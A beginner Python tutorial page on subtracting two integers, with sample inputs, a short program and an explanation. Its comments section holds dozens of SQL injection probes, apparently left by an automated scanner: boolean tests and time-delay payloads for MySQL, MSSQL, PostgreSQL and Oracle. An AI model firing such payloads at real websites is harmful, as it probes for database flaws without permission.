Python Subtraction
Python program to get two integer numbers, subtract both the integers and display the difference
Sample Input 1:
6 5
Sample Output 1:
1
Sample Input 2:
65 4
Sample Output 2:
61
Flow Chart Design
Program or Solution
num1=int(input("Enter First number:"))
num2=int(input("Enter second number:"))
diff=num1-num2
print(diff)
Program Explanation
Read two inputs using input() method.
Convert it into integer by int() method.
Subtract it using - operator.
Comments
ubaTaeCJ
-1 OR 2+570-570-1=0+0+0+1 --ubaTaeCJ
-1 OR 3+570-570-1=0+0+0+1 --ubaTaeCJ
-1 OR 3*2<(0+5+570-570) --ubaTaeCJ
-1 OR 3*2>(0+5+570-570) --ubaTaeCJ
-1 OR 2+292-292-1=0+0+0+1ubaTaeCJ
-1 OR 3+292-292-1=0+0+0+1ubaTaeCJ
-1 OR 3*2<(0+5+292-292)ubaTaeCJ
-1 OR 3*2>(0+5+292-292)ubaTaeCJ
-1' OR 2+232-232-1=0+0+0+1 --ubaTaeCJ
-1' OR 3+232-232-1=0+0+0+1 --ubaTaeCJ
-1' OR 3*2<(0+5+232-232) --ubaTaeCJ
-1' OR 3*2>(0+5+232-232) --ubaTaeCJ
-1' OR 2+842-842-1=0+0+0+1 or 'Bht52LrM'='ubaTaeCJ
-1' OR 3+842-842-1=0+0+0+1 or 'Bht52LrM'='ubaTaeCJ
-1' OR 3*2<(0+5+842-842) or 'Bht52LrM'='ubaTaeCJ
-1' OR 3*2>(0+5+842-842) or 'Bht52LrM'='ubaTaeCJ
-1" OR 2+354-354-1=0+0+0+1 --ubaTaeCJ
-1" OR 3+354-354-1=0+0+0+1 --ubaTaeCJ
-1" OR 3*2<(0+5+354-354) --ubaTaeCJ
-1" OR 3*2>(0+5+354-354) --ubaTaeCJ
if(now()=sysdate(),sleep(15),0)ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'ZubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"ZubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ubaTaeCJ
-1; waitfor delay '0:0:15' --ubaTaeCJ
-1); waitfor delay '0:0:15' --ubaTaeCJ
1 waitfor delay '0:0:15' --ubaTaeCJ
3lCP8Qtt'; waitfor delay '0:0:15' --ubaTaeCJ
-5 OR 184=(SELECT 184 FROM PG_SLEEP(15))--ubaTaeCJ
-5) OR 821=(SELECT 821 FROM PG_SLEEP(15))--ubaTaeCJ
-1)) OR 287=(SELECT 287 FROM PG_SLEEP(0))--ubaTaeCJ
-1)) OR 282=(SELECT 282 FROM PG_SLEEP(6))--ubaTaeCJ
sNyl0upC' OR 263=(SELECT 263 FROM PG_SLEEP(15))--ubaTaeCJ
BqvZzyX1') OR 809=(SELECT 809 FROM PG_SLEEP(15))--ubaTaeCJ
XHlhWIAy')) OR 328=(SELECT 328 FROM PG_SLEEP(15))--ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),6)ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'ubaTaeCJ
1'"ubaTaeCJ
@@eajfKRelated Programs
- Python Addition
- Python Multiplication
- Python Division
- Python Integer Division
- Python Modulus
- Python Exponentiation
- Kilometer to Meter in Python
- Meters to Kilo Meters in Python
- Area of Square in Python
- Area of Rectangle in Python
- Area of Right angled triangle in Python
- Area of triangle in Python
- Area of Circle in Python
- Circumference of Circle in Python
- Calculate Salary of Employee in Python
- Kilobytes to bytes in Python
- Bytes to kilobytes in Python
- Simple interest in Python
- Fahrenheit to Celsius in Python
- Celsius to Fahrenheit in Python
- Swap two numbers in Python
- Last Digit of integer in Python
- Set a bit in Python | Reset a bit in Python
- Python Xor
- Python Left shift Operator
- Python Right Shift Operator
- Python Bitwise AND
- Python Bitwise OR
- Python Complement Operator
coming Soon
coming Soon